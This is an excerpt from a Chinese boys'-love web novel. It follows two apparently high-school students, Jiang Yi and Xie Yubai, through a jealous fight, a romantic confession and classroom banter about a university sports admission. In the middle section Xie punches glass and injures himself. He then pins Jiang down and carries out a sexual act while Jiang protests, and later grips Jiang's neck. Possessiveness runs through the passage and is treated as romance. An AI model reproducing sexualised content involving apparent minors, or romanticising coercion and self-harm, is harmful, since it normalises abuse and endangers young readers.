江逸咬到他唇角发肿,眼底是翻涌的红,带着没褪尽的疯狂。 忽然身侧传来“咔嚓”一声脆响,跟着有模糊的脚步声从林子里穿过去。 谢逾白浑身一震,像被冰水浇了似的推开江逸,后颈的围巾还缠在两人之间,扯得他脖颈发紧。 他刚刚被吻得发肿的唇抿成一条直线。看清远处两个模糊的路人背影,谢逾白的恼怒涌上来:“你看,有人!” 江逸挑眉看了眼路人消失的方向,盯着他泛红的耳根,唇角勾着笑。 谢逾白被那眼神看得更燥,转身要走。 江逸伸手把人捞回怀里,咬着他的耳垂低声道:“怕什么?亲你犯法?放心,他们看不清,有树挡着。” 温热的气息扫在耳廓,谢逾白的脸更烫了,“你适可而止。” “那你别让我得逞啊?谢逾白,两个选择,第一,你跟我回家,我们心平气和地谈谈。第二,我们继续亲。” “我回自己家,你看着办。”谢逾白扔下生硬的一句话。 迈巴赫缓缓开过来。江逸舌头顶了一下腮,“早知道刚刚去车上亲你了,好冷,我耳朵快冻掉了。” 谢逾白被吻得发湿的唇瓣抿紧,发肿的唇绷成一道泛白的痕,呼吸紊乱,“你……” 第27章 我这么做,你报警吗?…… 谢逾白开门上车, 冷着脸靠着车门坐着,一个眼神都不给他。 到了谢逾白家的别墅,远处的松枝压着厚雪, 路灯的光晕漫过雪地。此刻望去,像幅雪景图,静得能听见雪落的声音。 此等美景,适合接吻拥抱,不适合吵架。 江逸看着谢逾白冷凝的侧脸,今晚又要折腾了。他帅是真帅, 这性格也是真带劲。每次看到他冷淡, 一副高高在上不可侵犯的样子,江逸体内的暴虐因子全被激发出来。 他越生气, 越冷淡, 江逸越兴奋, 这是什么鬼逻辑? 直白点的表述就是, 谢逾白发脾气的时候,江逸会对他有性.冲动。 谢逾白把浴巾扔到他身上:“去洗澡!” 江逸手指冻得冰凉, 窝在沙发裹着毯子, “让我缓和一下, 我冷。” “去洗澡。” “你就那么急不可耐吗?”江逸撇他一眼。 谢逾白太阳穴突突跳动:“你裤腿上全是雪水。” “我舌头伸进你嘴里的时候,不见你嫌弃我脏,这会儿洁癖倒是犯了。我睡衣呢?” 谢逾白眼底的冷静全碎了:“还想让我伺候你?你自己拿去。” “给我拿个睡衣就叫伺候了?” 谢逾白咬着牙:“废话这么多,要不要我给你洗?” 江逸忽然弯了弯眼:“行啊,浴缸放好水,你喊我。” “你去楼上洗!” 江逸洗好澡,来到衣帽间,神奇的是他竟然找到了185尺码的睡衣, 内裤也有,一开始他以为只是凑巧,整个这一排全是他的尺码。 这些衣服的风格偏休闲运动,跟谢逾白一贯的风格完全不一样。 看到这里,江逸还有什么不明白?谢逾白买给他的,看了几件外套的标签,六位数,当他以为可能只是标签价格的时候,一个透明抽屉里面放着收据,这些衣服不打折。 谢逾白这个资本主义败家子! 一排衣服下面摆放着应季的鞋子,是他的尺码,江逸没留意过谢逾白的鞋码,去对面看了下,谢逾白比他大一个尺码。 他心里五味杂陈,除却脾气带劲,谢逾白其他地方无可挑剔。 他穿着黑色家居服,不知道心理作用还是什么,质感很好,挺舒服。 谢逾白沉着脸,坐在书桌前,风雨欲来的平静。 江逸胃里空荡荡的:“我饿了。” “饿着。” “你有没有人性?赶紧给我准备饭,我昨晚就没吃饭。” 谢逾白冷脸下楼,吩咐厨师做饭。他沉着脸孔:“你想谈什么?谈完赶紧走。” 江逸啧了一声:“你一会儿赶着去约炮?这么急。” 谢逾白反唇相讥:“你以为我是你,耐不住寂寞,我一离开,迫不及待跟别人亲密无间。” “你个大男人,心眼能再小点吗?他因为妈妈生病心情不好,我安慰他而已。” “江逸,你在一起的时候,安全距离根本为零,下次他再难过,你会不会安慰他到床上?” 江逸脑壳开始疼,音量拔高,“我想跟他睡,用等到现在?” 谢逾白一口心头血差点吐出来,脸色阴翳:“你想过是不是?跟他上床。” 卧室有个衣柜,上面是深灰色的玻璃,谢逾白一拳砸了上去,指骨发麻,血一滴滴顺着玻璃碎片往下流。 江逸的怒气冲到天灵盖,大跨步冲了过去,握住他的手腕。 谢逾白的指骨上划开两道寸长的口子,皮肉翻卷着,能看见底下泛白的骨膜。几枚细小的玻璃碎片嵌在红肉里,手腕挣动,碎片往深处陷了陷,鲜血顺着指缝往外冒。 江逸脑子嗡嗡直响,耳朵听不见声音似的,眼底发红,“你他妈搞什么?自残?” 江逸拎来急救箱,“啪”地搁在床头。 “抬手。”他捏着酒精棉按向伤口。谢逾白想抽手,江逸反手攥住他手腕,“再动,我把碎片全摁进去。” 谢逾白僵住。 江逸用镊子挑出玻璃碴,动作很稳,血涌出来,他拿无菌布按住,重得谢逾白闷哼一声。 “砸的时候没想过疼?”江逸声音发沉,扯掉绷带重缠,这次下手更重,谢逾白手指泛白。 “你……”谢逾白咬牙。 江逸俯身压近,挑着眼尾看着谢逾白,“我问你,我现在日你,你报不报警?” 江逸声音冷冷,眼神有些疯狂,“你不是觉得我跟谁都能来么?现在试试,看我是不是真像你想的那样。” 谢逾白的脸涨红,一半是怒一半是慌。他能感觉到江逸的重量压在身上,胸膛贴着胸膛,烫得他浑身发僵,他被气疯了,涨红着脸挤出一句话:“你敢就来试试,看谁日谁?” 谢逾白想起这些天的思念。他昨晚半夜回来,直接去江逸家等,对方彻夜未归。 他安慰自己,江逸在医院陪朋友。天亮了人还没回,电话不接。谢逾白下午要赶车回去,想着去医院看他一眼,这一眼,把他的心扎疼了。 谢愈白抛去克制,眼底的侵略性彻底暴露,用力扣住江逸的腰,“我是不是太惯着你了,嗯?你以为我是好欺负的?” 谢逾白翻身把人压在身下,手往下探:“现在换我来问问你,我这么做,你报警吗?” 江逸懵了,脑子一片空白。清晰的触感从那里传来,被攥得紧紧的。 这么多年,从来没人碰触过的部位第一次被人碰触,他脸颊一点点变红,脖子也染上了红,舌头打结:“你,你先放手。” 谢逾白欣赏地看着他的表情,眸色深深,对他的话置之不理。他单手握住江逸挣扎的双手,举过头顶,“我真心对你,你弃如敝屣。身体跟心,我总不能一无所获。” 江逸像被沸水浇透,浑身的血涌到了面上。脸颊红得发涨,眉骨泛着热意,呼吸乱了节拍,气息变黏:“谢逾白,你……” 在他无比震惊的表情下,谢逾白身体向下压了压,狭长深邃的眼眸锁着他,薄唇动了动,欲语还羞。 那个向来清冷高傲、不可一世的人,竟然如此,江逸骨头缝里都透着麻,手臂软得撑不住身,声音发虚发颤:“你起来……” 谢逾白动作没停,眼底情绪复杂,有受伤,有不甘,有忘我的疯狂。 江逸腕骨抵在床头,磨出淡淡的红。锁骨窝陷着,被呼吸吹得泛起细密的一片红,眼瞳里的光散了,只剩片迷蒙的水色,睫毛湿了半截。 他能感觉到谢逾白呼吸的热度,铺天盖地压下来,让他连思考的力气都没有。 极致的瞬间,他眼瞳失了焦距,下唇咬出了红痕,慌乱提醒,“你、躲开……。” 谢逾白在原地愣神。 眼前这画面太疯狂了。江逸脑子炸了,眼睛恨不得闭上,脸上的红潮漫过下颌,羞窘不已。 谢逾白从来没有过这种经验,一时之间眼眸睁大,神情震惊。 “你不去洗一洗?”江逸羞耻到脚趾蜷成一团,侧脸埋进枕头,露在外的耳尖通红。 谢逾白才反应过来,像被雷劈了,食指发颤地擦了一下鼻尖,看到上面的液体,表情裂开了。 他迈进浴室,衣服没脱就打开了花洒。热水猛地砸在身上,谢逾白打了个哆嗦,开始脱衣服。 扣子解到一半手就乱了,干脆抓住领口扯了扯,布料卡在臂弯里,溅了满身的水。 他抹了把脸,指尖划过额头、鼻梁,碰到唇角时顿住。 他浴室里只剩自己的喘息。谢逾白弯腰抓过毛巾,往脸上捂。他刚刚做了什么? 下唇咬到发麻,他在浴室调整呼吸,打开门,床上连个人影也没有。 他看着空荡的床铺。床单皱着,留着刚才的痕迹,江逸躺过的地方余温散得差不多了。 江逸走了。 他走了。 他往前走了两步,脚趾撞到床板,疼得他踉跄了下,视线扫过床头柜,台灯暖黄的光照着桌面。 “呵。” 他冷笑一声,攥住灯柱往地上砸。玻璃罩裂开,碎片溅到墙角。 谢逾白看了眼书桌上笔记本。他胳膊一扬,电脑“啪”地摔在地毯上,外壳磕出裂痕。 他站在原地,胸口剧烈起伏。刚才在浴室里好不容易压下去的燥意又涌上来,混着空荡荡的失落,堵得他喘不过气。 他的手指在身侧蜷了蜷,又松开,最终垂在身侧,连握拳的力气都没了。 衣帽间的门被推开,探出一个头,江逸看着满地的碎片,扶着额头:“谢逾白,幸亏你有钱,这么折腾,谁养得起你?” 谢逾白脖颈僵了下,转过来,眼神里有没散的戾气,更多的是错愕:“你没走?” “我去换衣服,去哪?” 江逸站直了,扯了扯衣角,“外面这么冷。”他咳了咳,爽完就走这事,他真做不出来。” 谢逾白没说话,突然脱力似的往下滑,跌坐在地毯上。江逸走过去拽他胳膊:“起来,去床上坐,地上有玻璃碴。” 谢逾白垂着眼睑,没挣扎,被拉起来后就安静地坐在床头。过了会儿,他问:“你怎么不走?” “我走了,你气死了怎么办?” 江逸瞥他一眼,“我哪有那么不负责任?” 谢逾白冷哼一声,没再接话。 江逸正想找东西打扫,门被敲响,两个打扫阿姨笑呵呵走进来:“先生,需要收拾吗?” “麻烦了。” 江逸侧身让她们进来,看着她们麻利地收拾碎片,故作轻松地问,“四件套在哪?” 阿姨从衣柜里拿出来递给他。江逸接过时脸色有点红:“他在床上坐着呢,一会儿我来换。” 胖胖的阿姨把饭端上来,“请您享用,需要什么随时喊我。” 江逸微微一笑:“谢谢阿姨。” 看着饭菜,是他喜欢的卤肉饭,和几个爽口小菜,“谢逾白,吃饭了。” “我不吃。” “你要成仙?” “吃你的吧。”谢逾白哪有心情吃饭,早气饱了。 江逸吃完饭,让谢逾白往床边挪了挪,自己拿着脏床单进了浴室,匆匆洗了洗,塞进洗衣机。 他避开谢逾白的视线,“我晚上睡哪?” 谢逾白一张俊脸由白转红,由红转黑,“我不知道。” “你不说,我睡你旁边了?”激烈的争吵和忽然身体上的刺激,江逸又累又困,“你还有事没?没事我要睡了。” 第28章 你刚才没尽兴? 谢逾白嘴唇张了张, 关于之前的意外一个字也吐不出,终是闭了嘴。 他望着江逸白皙的脸,一副安逸神情刺得他眼慌, 心里酸楚、钝痛、气恼一波波涌上来。 手不受控地抬起,掐住江逸优美单薄的脖颈,能摸到清晰的骨节,稍一用力就会折断。 江逸睁开眼,瞳孔清澈明亮,胳膊把他往下勾:“你刚才没尽兴?还来?” 谢逾白被问得一噎, 火气直蹿, 江逸忽然凑近,鼻尖动了动:“你刷牙了?” 谢逾白蹙眉, 没明白这突兀的问话。 闻到他呼吸里的牙膏味, 江逸松了口气, 拽着他往下, 咬住他薄薄的唇。 江逸细细腻腻地吻他,品尝牙膏的清爽, 扫过他的舌面, 勾住他僵硬的舌头, 卷着、追逐着,喉咙里发出吞咽的轻响:“谢逾白,换气,你脸憋红了。” 谢逾白猛地回吻,粗粝的舌面一下下顶入他喉咙,带着让人窒息的力道,满是浓重的占有欲。 江逸唇被吮得发疼,湿热津液顺着喉咙往下淌。 谢逾白的吻渐深, 一手攥着他的手腕按在床单上,指腹碾过肩胛骨,江逸一阵轻颤。 江逸挣了下,反被吻得更狠。唇瓣被啃得发肿,尝到点微涩的疼。 他露出半截锁骨,被谢逾白的呼吸扫过三粒胭脂红痣,皮肤起了层细密的鸡皮疙瘩。 谢逾白咬住他的下颌线,吻落在喉结上,江逸喘着气瞪过去,他现在的身体哪能受得了如此撩拨? 谢逾白重重咬在他唇角。 江逸没试过这样激烈的吻,像要被生吞活剥。他脸色红透,喘着气笑:“说实话,你是上面的,对不对?一直跟我装小白兔?” 谢逾白眼神深邃,声线低迷:“我可以为爱妥协,行不通的话,懒得装了。” “下去,你沉死了,我喘不过来气。谢逾白,你能不能别这么斤斤计较?可以不可以给我最起码的信任?” 谢逾白闭了闭眼:“我不信事已至此,你不知道周靖泽的心思,你就是三心二意,风流成性。” 以前,江逸没开窍,确实不懂,现在,他不能那么理直气壮,“你一定要刨根究底?他喜欢就喜欢,我对他没那个意思不就行了?” 谢逾白冷着脸问:“你对谁有那个意思?” 江逸单手撑着头,琥珀色的眼眸看着他:“你说呢?我喜欢亲谁,就对谁有兴趣。” “谁知道。” 江逸哎了一声,本来有些话他不能说,他保证不了任何事,“你在我家住了那么久,我对你没做出格的事,高考之前没打算动你。我们的关系决定权在你。我就是个三心二意的玩意,真心什么的少得可怜。如果你感兴趣,我陪你玩玩,如果你不乐意,感觉到不适,随时结束。” 宋越提醒他的时候,他应该跟谢逾白说的,他做不到生命里完全只有一个人。 谢逾白黑眸冷得渗人,“你果然对我没什么真心。” “别这么说,对你有点,对别人真没有。”江逸的声音慵懒,苏苏的,“抱歉,这些话,应该早点跟你说明白的。接下来,你打算怎么定义我们的关系?” 谢逾白瞳孔深深地望着他,眼里有浓情,有受伤,有不知所措,最后咬牙说:“你让我玩完再甩?” 江逸斜他一眼:“我哪有时间跟你玩?再说现在我俩撞号了,玩不成了。” 他余光看到谢逾白指骨上包的纱布,想起他鲜血淋淋的手指,心脏有些疼,这种感觉很差,让他蹙起眉,“跟我在一起让你这么难受,要么结束吧,我这人确实没什么可取之处。” “结束?我们在一起过吗?”谢逾白语气冷漠:“只是我单方面表白,你有过任何表示吗?” 江逸坐起来,摊开手,“我了解我自己,朋友很多,不可能抛掉他们,我改不了,我们的问题一时之间解决不了。”他小心观察谢逾白的神色,“我们做回朋友吧。” 心动过,尝试过。不合适也没办法,江逸一向自诩洒脱,合则在一起,不合别伤害人家。 谢逾白脸刹那间惨白,心脏一抽一抽地疼,声音仿佛来自地狱:“你跟我说做朋友?你的东西刚刚弄我脸上,你好意思说这话?” 江逸瞪大眼睛,没想到向来清冷的人能说出这种话,他脑子里不可遏制地浮现那个情景,莫名香艳过瘾,他清了清嗓子:“……那件事,对不起了。” “我要的不是你的道歉!” “我能给的只有抱歉。”江逸身体靠过来,搂住他肩膀:“你好好生活,生命里不只有情情爱爱,是我配不上你,没能给你好的体验。这段时间我会做好善后,你情绪不好,或者心情不佳,我会陪着你。” 他有些懊悔,有些心疼:“是我不好,我没想好就跟你开始,我给不了你想要的纯粹感情,我跟你道歉。” 谢逾白面如死灰,双手攥拳:“我再说一遍,不准你跟我道歉。” 他阴沉着脸,手拧着大腿上的肉,让自己听起来没那么卑微:“你喜欢我吗?江逸。” 江逸出神地望着他落寞哀痛的侧脸,他好看的眉拧着,脸上没什么血色,嘴唇被亲得有些许破皮,江逸喉咙发酸,说不出一句违心的话,“喜欢的。” 谢逾白吼道:“喜欢,你就不能努力一点?” “喜欢一个人还要努力?喜欢应该水到渠成,生活里需要努力的太多了,累死了。”江逸的嗓音慵懒怠慢,他看了看时钟,12点了,“睡觉吧,你明天还要赶回去。” 他卷起被子下了床,弓着背铺在地毯上,“我睡了。”他嘴上这么说,脑子里乱糟糟的,很久以后,意识开始模糊,隐隐约约有一双手臂把他抱上床。 * 江逸打完球刚走到教室门口,有几个别班的女生围在门口。 见他过来,几个女生叽叽喳喳的,她们把一个女生往前推,“他回来了,快去!” 江逸视线散漫,脚步没停。 “江逸,你等一下。”栗色卷发女生羞羞答答,递过来一个苹果,“我没别的意思,今天平安夜,我自己家种的苹果。” “不用了。”江逸侧了一下头,发尾飞扬。 后面几个女生忽然尖叫:“好帅!” 江逸:“……” 卷发女生把苹果塞进他胳膊肘,头也不回地跑了。江逸无奈笑笑,拎着包装袋进教室。 林飞羽羡慕地调侃:“逸哥,去年收到22个苹果,今年已经28个了。” 陈最笑着摇头:“长得帅就是有优势。” “岂止长得帅,逸哥上次月考进前800了,学习突飞猛进,能不招人喜欢吗?” 江逸随手抄起一个苹果扔了过去:“你个破嘴,瞎说什么?”全年级一共1200人,前800够寒碜的了。 “咱班也就谢总能跟你一较高下,可惜他不知道怎么了,来送苹果的一概不收,沉着脸,一副月经不调的样子。” “哈哈哈!”江逸笑得开心,忽然觉得什么不对劲,眼神对上斜前方的背影,不可思议地眨眼睛,“他怎么在这?” 他手指戳了戳谢逾白的后背,“你怎么没去集训?” 谢逾白眼尾瞥他,眼神冷淡。 江逸看向陈最:“他怎么回事?” “你去打球了,没听见,任老师发了好大的脾气。”陈最用手挡着嘴,压低声音:“谢总不打算去参加物理全国大赛了。” “什么玩意?”江逸动作幅度不小,桌子上的苹果滚落在地。他急切地扯了下谢逾白的校服领口,“你跟我出来一下。” 谢逾白一动不动。 江逸站起身,抓起他的胳膊,“跟我出来,立刻。” 陈最和林飞羽吃惊地看着两人,周围同学注意过来的人越来越多。 “松手。”谢逾白掸了掸被他拽过的衣领,站起身,“带路。” 江逸拉着他的胳膊一路往前走,卫生间旁边有个小的杂物间,里面放着拖把,他把门从里面锁上。他面露困惑,“你为什么不继续去物理竞赛的集训?” 谢逾白双手插兜,面上没什么表情:“我不打算继续考了。” “你付出了那么多辛苦,为什么要半途而废?” 谢逾白眉梢挑起:“你没有半途而废吗?” 江逸秒懂,他指的是两个人的关系,“这不一样,这关乎着你的未来,你付出了很多努力的。” “我付出的努力不止这一件,况且,一开始我就对物理竞赛没有兴趣。” 江逸很不理解:“没有兴趣,你为什么准备这么长时间?” 谢逾白深深看他一眼:“懒得说,你自己想。”他转身想开门出去。 他的衣领被人抓住,往门上一推,撞得谢逾白后背一疼。 江逸的长相带着少年气的清俊,此刻眼神锐利地看着他。 谢逾白默默看他,这样在密闭的空间跟他对视,谢逾白有点受不了。 江逸眼尾天生有点上翘,瞪人时弧度更显,“少跟我绕弯子,说,你到底为什么不考了?” “该说的我已经说了。” 江逸无比抓狂,“你就这么放弃了?你的努力无所谓,我的努力呢?” “你的什么努力?” “我给你送那么重的复习资料,去考场接你考试,这些不是我的努力?” 谢逾白眼神有一瞬间的挣扎,沉寂下来,“这些已经没有意义了。” “你到底在说什么?为什么以前有意义,现在没有意义?”江逸抓紧他的肩膀,两人的距离很近,琥珀色的眼睛紧紧盯着他,“今天你不解释清楚,别想离开。” 如果他不说,江逸的性格的确干得出来,谢逾白看着眼前的人,声音虚无,“我本来就是因为你,才参加的。” 谢逾白眼里只盛得下眼前一个人,沉静又珍重,“现在,没有意义了,不是吗?” 第29章 他从高开始一直喜欢你…… 江逸眼瞳里漫开一层困惑, 呼吸轻了些,“你是说,从报名物理竞赛那时候开始, 你就对我……” 谢逾白别过脸,抿着唇不吭声,手指在裤缝里用力掐出几道褶,他拉开门,头也不回地走了。 门砰的一声,差点撞到江逸的鼻梁, 他揉了下鼻梁, 刚刚情圣的眼神,有点让人心疼哎。 江逸回到座位, 课间有几次, 他想跟谢逾白说点什么, 对方一副拒绝沟通的样子, 眼神也不给他一个。 怎么有这么别扭的人?江逸以前没喜欢过别人,不理解, 看不懂。 陈最看到谢逾白桌面上有一张宣传单, 拿过来看了看, 心头一喜:“江逸,东大有篮球特招生,降低分数线录取,你看看。” 东大是本省排名靠前的学校,对于江逸来说,属于高攀了,他接过来看着。 东大作为本省前三高校,需国家二级及以上运动员证书, 项目为篮球。 高中阶段获省级青少年篮球锦标赛前四,为主力。 江逸正在打省级青少年篮球锦标赛,已经进了前八,很有希望。他有点不敢相信,“这传单哪来的?” 陈最指了指旁边:“谢总桌子上的。” 江逸看了看空无一人的座位,犯愁。 “没事,我找机会给你问问。” 午休时间,陈最带了一个高瘦的男生走进教室,陈最拍了拍江逸:“逸哥,醒醒。” 江逸抬起脸,有一小撮头发黏在脸侧,侧脸有条红印,睡眼惺忪。 “介绍一下,这是傅现,东大体育系的传单是他带到学生会的。” 江逸眨巴着眼睛看他:“哦,你好。” 傅现长相痞帅,眼睛很明亮,上下打量江逸:“你本人长得好像女生。” 去你妈的。江逸在心里骂了一句,眼神变得凶一些。 “不好意思,我不是那个意思。”傅现眼神还停留在江逸的脸上,他对江逸是第一眼的惊艳,漂亮,很少能在一个男生身上有帅气和漂亮两种气质的融合,他不像女生,“我的意思是你像女生那么漂亮。” “呵呵,你不擅长夸人不用硬夸。” “很难听?” “是的。” 陈最:“你们慢慢聊,我去吃饭了。” 傅现笑嘻嘻地坐在谢逾白的座位上,脸对着江逸,“你有什么要问的,问吧。我哥哥前年考的东大,走的就是篮球特长。传单是他让我拿到学生会的。” “谢逾白从学生会拿回来的?”江逸心中有个疑问,不确定地说:“他用不着,为什么拿回来。” 傅现对着他招手,示意他靠近:“江逸,你不会不知道吧?他给你拿的呗。” “给我?”江逸回想这几天,谢逾白基本一句话不跟他说,怎么可能主动给他拿这个? 看到他脸上的疑惑,傅现笑得张扬,“你的表情真好玩,你不知道他暗恋你?” 江逸脸上浮现尴尬,眼睛怔怔的,羽睫颤动。 “太有趣了,掀谢逾白老底这事,我太喜欢了。” 江逸看了看,教室里没几个人,其他同学距离他们很远,对话是安全的,“你怎么知道的?” “你对我一无所知?我就是谢逾白的一生之敌,竞争对手,关于他的事,我了如指掌。他从来没提过我?” 江逸摇头:“从来没有。” “算了,他就是那副死德性,我前一段时间跟他一起参加物理集训,他每天除了做题,就是等微信消息,你知道吧?痴痴傻傻的。我一猜他就是等你消息。” 江逸屏住呼吸:“他等我消息干什么?有消息就看,等什么?” “你没谈过恋爱?就是盼着呗,他发了消息就等你回消息,不发消息的时候,盼着你发消息。” “他不一定是等我消息。” “怎么不是?我亲眼看到了,微信聊天页面一直搁在他手机屏幕上,聊天背景就是你的照片。” 江逸脸色微红,轻咳几声:“我的照片?你没看错吧?” “你对自己有什么误解?你这么有名,我怎么会看错?虽然我不理解,我班的女生也喜欢你,每天叽叽喳喳的讨论你。” 江逸心情微妙,谢逾白做过这么多匪夷所思的事?结合他去京市前一晚在自己房间静坐的情形,差不多可以想象。 傅现啧了一声:“没想到他表面不可一世,背地里这么闷骚,他是不是追你挺久了?你俩在一起了?毕竟他暗恋你两三年了。” 江逸眼睛睁大,不可置信地问,“怎么可能?他之前有喜欢的人,不是我。” “什么?不可能。他从高开始一直喜欢你,据我所知,没有其他人。” “高一开始?不可能。” 傅现深吸一口气,“是不是喜欢你的人太多了,你没注意到,你每场打球,他都会去看,你没发现?” 傅现回忆着,谢逾白喜欢江逸的细节很多,他不知道从哪里开始说,“有一次,主任安排演讲,第一人选是谢逾白,他推辞了,说什么有私事。演讲这件事落在我头上了,只剩下两天,我写稿子背稿子,谢逾白这王八蛋,我恨死他了。你猜最后怎么着?有哥们告诉我,他去看你比赛了。你说他这人,狗不狗?” 江逸神情变换,思索着,“有可能他喜欢看篮球?” “你怎么这么迟钝?”傅现扑哧笑着:“你上半年去酒吧打工了,是不是?” “有这事。” “他每天放学几乎都去酒吧。你没发现?按理说,他一个学霸挺忙的,为什么天天去?” 江逸沉默,这点确实不正常。 “你不在酒吧工作以后,他去过吗?” 江逸回想,没见他去过。 “你跟我说实话,谢逾白这次物理竞赛集训中途中止,是不是因为你?他是教练最器重的,指望他拿金牌呢。” “我不太了解他的思维。”江逸真不了解,如果是他,即使喜欢谁,不会影响自己的生活,人总要过自己的生活。 “啧,这点我还挺佩服谢逾白,真他妈长情,为了你数学竞赛没参加决赛,让我捡了个银牌,这次物理竞赛又不参加了,可惜,我一直想跟他争个高下的。” “数学竞赛是因为我?”江逸心脏忽悠一下,好像被捏了一下。 “是啊,为情所困,旧病复发,不就是因为你吗?嘿嘿,这件事知道的人不多,恰巧我跟他一起数学集训,对他的事无所不知无所不晓,笑死我了。” 江逸手扶额头,太阳穴一跳一跳的,“你能理解他这种行为吗?”他一点搞不懂谢逾白这种迷惑行为。 “你没暗恋过别人?” 江逸摇头。 “你真是被人捧在蜜罐里的,我暗恋的时候,跟谢逾白表现差不多吧。总偷偷看她,表面要装高冷,转头就去偷窥,恨不得每天等着盼着见她一面,只要见上一面,心情会好一天。看到她跟异性聊天,心情差三天。” 江逸目瞪口呆,“你被操控成这样?” “比这样还夸张。” “那你表白了吗?” “表白个屁,她有男朋友。用脚趾头想也知道,我能看上的人肯定好看,好看的女孩身边肯定不缺男朋友。你的情况也一样吧,谢逾白那么久没表白,你身边一直有人吧?” 一时之间,接受的信息量太多,江逸有点消化不了,“我身边没人。” 傅现看着他:“我求你件事,你让谢逾白参加物理竞赛,上次数学竞赛没分出胜负,这次物理竞赛我盼了好久,他不集训了,我没意思也回来了。” “物理集训这么可有可无吗?你们一个个不当一回事,说回来就回来。” “自己做题也一样,竞赛靠天赋,我跟谢逾白智商本来就高。” “多高?” “160多。” 江逸好像测过一次,他好像就是平均线高点,120。“物理竞赛可以保送一流大学,为什么谢逾白一副无所谓的样子?” 傅现一脸惊讶:“看来你对他真是一无所知,谢逾白这辈子吃的苦全来自于你。他家是超级富二代,你知道吧?” “有所耳闻。” “哈哈哈,他恨不得立刻嫁给你,你只是有所耳闻?一副跟他不熟的样子,笑死我了。他有钱有势,上大学只是他的一种选择,不走竞赛,高考他是稳的一批。这点或许超出你理解范畴了,打过竞赛的人,学高考理科比较轻松的。这些考试对谢逾白没什么难度。想上哪个大学,基本都可以达成。他应该会读政法专业吧,毕竟他家的律师事务所全国排得上号的强。” 的确超过江逸的理解了,学霸的世界他不明白,他翻开英语卷子,开始做题:“你还有事吗?我要做题了。”一边说,他一边开始做题。 傅现扫了几眼:“你认真的吗?你写的五道题,错了三道。” 江逸瞪他:“你这么闲?” “英语和语文是我最差的,要不是这两科,我早压住谢逾白了。”傅现手指敲着江逸的卷子,“没想到谢逾白喜欢傻白甜啊。” 江逸:“……滚。” 江逸有些气恼,眼尾扬着,眼瞳雪亮,脸色泛着薄红,模样惹眼。 “你生气的样子,的确好看,我差不多理解谢逾白为什么看上你了。”傅现出示微信二维码,“你扫我,东大招生方面,有什么需要咨询的,我帮你问。” 江逸表情收了一些,“你以后少说那些乱七八糟的。尤其在其他同学面前。” 谢逾白脸皮薄,现在两人关系尴尬,别出什么乱子。 “我有分寸,这么多年,我一直守口如瓶。”傅现笑呵呵靠近,在江逸耳边低声说,“你喜不喜欢他?你们还没在一起?” 江逸垂下眼睫,没说话。 “我好佩服你,你能给谢逾白的人生带来挫折,冲这点,你厉害。”傅现歪了下头,笑道:“常联系啊,帅哥。” 身后传来一道冷冷的声音,“你为什么在我的座位?” “呦,你回来了,我来看我朋友。”傅现手掌在江逸桌面拍了下,“我明天再来找你。” 谢逾白脸色不虞,两三天没跟江逸说话的人,长腿微曲靠着椅背,开口问:“他来找你干什么?” “跟你有什么关系?”江逸瞥他一眼,之前拽得要死,不理人,这会搭什么话。 谢逾白被噎了一下,“他嘴巴不靠谱,你少跟他接触。” “我想跟谁接触,跟你一点关系也没有。” 谢逾白手指按在他的桌子上,指腹发白,“江、逸。” 江逸往椅子上一靠,仰着头,碎发搭在眉骨,眼半睁着,琥珀色瞳仁浸在光里。 他神情放松,一副怡然自得的样子。谢逾白不受控制地看着,完全没注意到看了多久。 江逸忽然站起身,两人的距离拉进了好多,近到谢逾白能看清他睫毛上卷的弧度。 江逸轻哼了声,声音慵懒,“你管我这么多,你是我爹啊?” 谢逾白脸顿时绷紧,耳根子发烫:“你胡说什么?” “本来就是,我愿意加谁好友,跟谁交朋友,是我的自由,你没生我没养我,没给我生活费,管我那么多干嘛?”江逸斜他一眼,坐回去。 谢逾白心脏噗通了几下,讷讷地坐下,他坐得端正,过了大概一分钟,“我给你生活费,你会听我的吗?” 江逸怀疑自己听错了,“你再说一遍。” “我给你生活费,你能听我的吗?” “显摆你有钱?小爷不稀罕。自由无价,知道吗?” 谢逾白转身,看了他几眼,又垂眼看着他做的试卷,“你做的题,十道题错了五道。” 江逸瞪圆了眼睛,“谁问你了?你们一个个的,高智商怪物,在我面前找存在感是吧。” “我在你面前找什么存在感?有意义吗?” 整天意义,意义你妈,江逸想骂人。 “需要我帮你把错题画出来吗?” 江逸收住想刀人的心情,把卷子往前一推,“你画,画错一个我把你扔池塘里喂鱼。” 谢逾白从自己笔袋里拿出笔,拧开笔盖,一个个往下画错题。他狭长的眼垂着,瞳仁墨色沉沉,睫毛敛着光,专注落向纸面。 他握着金属笔的手骨节分明,薄薄皮肤裹着细骨,手指从根到尖线条流畅,格外修长。捏笔时指腹轻压,长指微屈,有种清冷的禁欲感。 不知为什么,江逸看他的手,微微失神。 谢逾白的食指伸过来,轻点他的手背,“我画完了,你可以改了。” 江逸嗖的一下,手快速收回来,躲避他的触碰,动作幅度大,卷子扯到了地上。 谢逾白深黑瞳孔从纸面抬起来,目光带了点探究,“你怎么反应这么大?” 第30章 满脑子想着抱你 江逸被自己如此忽然的反应震撼了一下, 他抿着下唇,抬眼看到谢逾白黑沉沉的眼神,不知道如何作答。 他不是没有感情, 骤然得知谢逾白对自己的情感比想象中还要沉重,他心里的感受挺复杂,有欣喜,有疑惑,更多的是顾虑。 谢逾白这人偏执控制欲强,偏偏对他一根筋, 江逸有些头疼。 两人有过那么一段暧昧牵扯的经历。两人之间的关系远近很难把控, 江逸不忍心看他受伤的模样。 江逸若无其事地拿起笔:“我继续做题了,你不要打扰我学习。” 谢逾白:“……” 大榜第一被大榜第789说打扰学习了, 他被气笑了。 第二天, 傅现拿着一摞资料来班级找江逸, 他带来了东大的专业往年面试资料, 还有一些专业知识。 江逸看得一愣一愣的:“一天时间,你准备得这么充分?”材料用带颜色的标签仔细标注了类别。 傅现不在意地笑笑:“你别小看学霸的办事效率。” “你也是学霸吗?” “当然。”他拿出上次考试的电子表格, 指着自己的名字, “看看, 我是距离谢逾白最近的人,我只跟他差了27分。” 江逸认真地看了看,“这是件值得骄傲的事?” 傅现往后翻,“看看你,比他差了270分还多,你好意思说我?” “我从来没想跟他比学习。” “那你跟他比什么?” 江逸莞尔一笑,“我只跟自己比,有进步就行。” 江逸笑时眼尾扬起扇形弧度, 笑容明媚璀璨。 傅现一个不留神看入神了,他从来没想到,一个男生浅浅笑一下能这么好看。这种美是跨越性别的,他迷蒙地眨眼,“我草,你可别对我笑了,我钢铁直男。” 江逸像看傻子似的看他:“你有病?” 傅现小声说:“谢逾白就是这么被你掰弯的?”他以前一直不理解,谢逾白为什么这么死心塌地,甚至卑微地喜欢江逸,现在他有点懂了。 